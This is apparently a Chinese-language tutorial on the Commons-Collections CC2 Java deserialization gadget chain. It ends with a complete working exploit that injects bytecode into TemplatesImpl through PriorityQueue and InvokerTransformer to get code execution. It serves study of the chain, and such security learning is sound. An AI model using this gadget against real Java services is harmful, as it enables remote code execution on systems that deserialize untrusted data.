CC2链 环境准备 JDK1.8(8u66),commons-collections4,javassist(3.12.1.GA)
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > <dependency > <groupId > javassist</groupId > <artifactId > javassist</artifactId > <version > 3.12.1.GA</version > </dependency >
原理 在CC4链中调用链是利用了TrAXFilter中的构造器调用了TemplatesImpl中的newTransformer 而在CC2中则是是用InvokerTransformer调用TemplatesImpl中的newTransformer
因为利用InvokerTransformer调用的newTransformer,所以我们需要思考谁调用如何传入templates
PriorityQueue add()方法就可以传入templates注意:在offer()中会调用siftup()会在反序列化前提前调用 所以我们可以先传入一个随意的东西new ConstantTransformer(1)
1 TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 ));
在通过反射去将属性换掉
1 2 3 4 5 6 7 8 9 TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 ));PriorityQueue<TemplatesImpl> queue = new PriorityQueue <TemplatesImpl>(transformingComparator); queue.add(templates); Class a = transformingComparator.getClass();Field fa = a.getDeclaredField("transformer" );fa.setAccessible(true ); fa.set(transformingComparator, invokerTransformer);
最终Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public boolean add (E e) { return offer(e); } public boolean offer (E e) { if (e == null ) throw new NullPointerException (); modCount++; int i = size; if (i >= queue.length) grow(i + 1 ); size = i + 1 ; if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; }
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package com.javatest;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC2 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] code = Files.readAllBytes(Paths.get("E:\\java-test\\CC4\\CC4\\target\\classes\\com\\javatest\\Pay.class" )); byte [][] codes = {code}; setValue(templates,"_name" ,"aaa" ); setValue(templates,"_bytecodes" ,codes); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue<TemplatesImpl> queue = new PriorityQueue <TemplatesImpl>(transformingComparator); queue.add(templates); Class a = transformingComparator.getClass(); Field fa = a.getDeclaredField("transformer" ); fa.setAccessible(true ); fa.set(transformingComparator, invokerTransformer); Class cl = Class.forName("java.util.PriorityQueue" ); Field f = cl.getDeclaredField("size" ); f.setAccessible(true ); f.set(queue, 2 ); serialize(queue); unserialize("ser1.bin" ); } public static void serialize (Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser1.bin" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } public static void setValue (Object object, String fieldName, Object value) throws Exception { Class obj = object.getClass(); Field field = obj.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object,value); } }